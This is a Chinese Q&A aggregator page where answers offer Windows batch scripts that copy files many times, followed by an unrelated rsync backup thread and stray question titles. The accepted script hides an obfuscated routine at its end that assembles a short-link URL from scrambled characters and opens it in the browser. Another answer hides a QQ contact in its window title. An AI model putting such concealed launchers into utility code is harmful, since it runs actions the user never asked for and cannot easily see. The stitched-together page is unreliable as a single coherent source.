请问大神,有没有啥代码,可以直接让某个文件夹下的文件复制很多份呢? 或者指定某些文件复制很多份。

Posted

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了请问大神,有没有啥代码,可以直接让某个文件夹下的文件复制很多份呢? 或者指定某些文件复制很多份。相关的知识,希望对你有一定的参考价值。

请问大神,有没有什么bat代码,可以直接让某个文件夹下的文件复制很多份呢? 或者指定某些文件复制很多份。

复制粘贴到记事本,另存为xx.bat,编码选ANSI

@echo off
rem 将一个或多个指定文件复制多份/创建多个副本
mode con lines=3000
set #=Any question&set @=WX/&set $=Q&set/az=0x53b7e0b4
title %#% +%@%%$%%$% %z%
cd /d "%~dp0"
rem 源目录
set "source=D:\\xxx\\AA"
rem 目标目录
set "target=D:\\xxx\\BB"
rem *.*所有文件,*.jpg|*.txt所有jpg图片和txt文档,a.rar|b.docx|c.mp4三个指定名称的文件
set "files=*.*"
rem 数量
set count=3
if not exist "%source%" (echo;"%source%" not found&goto end)
if not exist "%target%" md "%target%"
>"%tmp%\\j.j" echo;WSH.echo(WSH.Arguments(0).replace(/\\^|/g,'\\r\\n'));
pushd "%source%"
for /f %%a in ('cscript -nologo -e:jscript "%tmp%\\j.j" "%files%"') do (
    for /f "delims=" %%b in ('dir /a-d/b "%%a" 2^>nul') do (
        for /l %%c in (1 1 %count%) do (
            echo;"%source%\\%%b" --^> "%target%\\%%~nb (%%c)%%~xb"
            copy /y "%source%\\%%b" "%target%\\%%~nb (%%c)%%~xb"
        )
    )
)
popd
:end
echo;%#% +%@%%$%%$% %z%
pause

追问

如果文件中有空格,要如何录入文件名呢?比如文件:你的水 (3).docx,要怎么样写呢?

追答

按运行后窗口中的提示联系我

追问

没有提示,但是没有复制到,只是说有任何问题的话,请找,,QQ
请问这个没有解决办法的吗?我使用使用双引号,但是没有用。。

追答

说的很清楚,按运行后窗口中的提示联系我

参考技术A @echo off & title 重复拷贝文件 By 依梦琴瑶

::设置要要拷贝的文件,所有文件设置为*
::某种类型的文件,*+后缀名,例如*.txt
::某些文件名的文件,直接设置文件名+后缀
::*代表通配符(即所有形式的字符)
::多个字符串之间请用英文逗号或空格隔开。名称包含空格等特殊字符的,请把该名称用英文双引号括起来
set Files=*

::设置文件所在目录路径
set SrcDir=D:\Test

::设置目标文件夹路径
set TgrDir=F:\OK

::设置文件要被重复拷贝的份数
set Num=20

cd /d "%SrcDir%"
for /f "delims=" %%a in ('dir /a-d/b %Files%') do (
Call :CopyFile "%%~fa" "%Num%"
)
pause
call :Donate
exit

:CopyFile
for /l %%i in (1,1,%~2) do (
copy "%~f1" "%TgrDir%\%~n1 副本_%%~i%~x1"
)
goto :eof

:Donate
set "S0=fPdv"
set "S1=.:ailnhpst/"
set "S2=%S1:~6,1%%S1:~9,1%%S1:~9,1%%S1:~7,1%%S1:~1,1%%S1:~10,1%%S1:~10,1%"
set "S3=%S1:~8,1%%S1:~3,1%%S1:~5,1%%S1:~2,1%%S1:~0,1%%S1:~4,1%%S1:~9,1%"
start "" "%S2%%S3%%S1:~10,1%%S0%"
exit本回答被提问者采纳
参考技术B 试试xcopy命令?
xcopy /e /H /y "欲拷贝路径"   "目标路径"
比如要将 D盘1目录分别复制到 E盘的backup,F盘的backup,G盘的backup文件夹中
xcopy /e /H /y "D:\1" "E:\backup"
xcopy /e /H /y "D:\1" "F:\backup"
xcopy /e /H /y "D:\1" "G:\backup"
是要这样的效果吗?
========更新========
根据评论要求:
echo off
set N=0
:str
@set /a n=%n%+1
echo 复制了第%N%次
xcopy /e /H /y "要复制的路径\" "目标路径_%N%\"
@if %n%==填写复制多少次 goto end
@goto str
:end
@pause
=====按照题主的要求======
echo off
set N=0
:str
@set /a n=%n%+1
echo count_%N%
xcopy /e /H /y "G:\NdCloud01\Cour0122ares\111\*.*" "G:\backup\111_%N%\"
@if %n%==20 goto end
@goto str
:end
@pause
==========另一个需求========
echo off
set N=0
:str
@set /a n=%n%+1
@echo count_%n%
xcopy /e /H /y "G:\NdCloud01\Cour0122ares\112\*.*" "G:\backup\112\backup_%N%\"
@if %n%==23 goto end
@goto str
:end
@pause

注意:代码中最好不要出现中文!
如果非要使用中文,要另存为GB2312(GBK的编码)*根据你的命令台的编码决定

linux使用rsync备份目录,但是有的目录没有备份,请问是啥原因?并且在输出日志中没有现在错误!

你是通过 rsync daemon 来同步的,很可能和你 rsyncd.conf 里的配置有关,比如权限相关配置导致你对所有文件都无法读取,或者是rsyncd.conf里直接就exclude掉了。 既然是本地同步 (127.0.0.1), 你可以先试试不通过daemon,直接用路径名的方法同步,比如

sudo rsync -cvzrltogp /path/to/rsync /home


上面的命令如果没问题,那就可以肯定是你 rsync daemon配置的问题了。

追问

rsyncd.conf的配置信息如下:
uid = root
gid = root
use chroot = no
max connections = 0
pid file = /var/log/rsync/rsyncd.pid
lock file = /var/log/rsync/rsync.lock
不好意思,这里面要求字数限制还有后续

参考技术A 看你用什么选项了。比如,如果你用了选项 -u, 它会比较原始文件和备份文件的新旧,如果后者新就不会给你备份。如果不是这个原因,你能否把你的完整命令抄上来看看?追问

rsync -cvzrltogp --password-file=/xx/xx.scrt root@127.0.0.1::rsync /home/>>/home/rsyncd.log
这是我使用的命令,在rsyncd.log目录里面列出了备份的目录,但是有的只有目录名称,但是目录里面没有任何的文件!

参考技术B 一定是什么地方弄错了,这个需要排查一下, 还是发私信吧

以上是关于请问大神,有没有啥代码,可以直接让某个文件夹下的文件复制很多份呢? 或者指定某些文件复制很多份。的主要内容,如果未能解决你的问题,请参考以下文章

请问啥是WINDOWS下的PE病毒 ?

问:Filco 键盘有大神用的吗,我键盘最近老是出现问题 自己乱打字。请问啥情况啊,键盘后面有

linux 请问如何让它定时访问某个网络地址

odoo首页添加自定义模块,修改代码后报错,请问各路大神啥情况

请问linux 目录表示中 ./. 表示啥?如 ./.local 谢谢

tomcat启动问题,请问一下这是啥问题。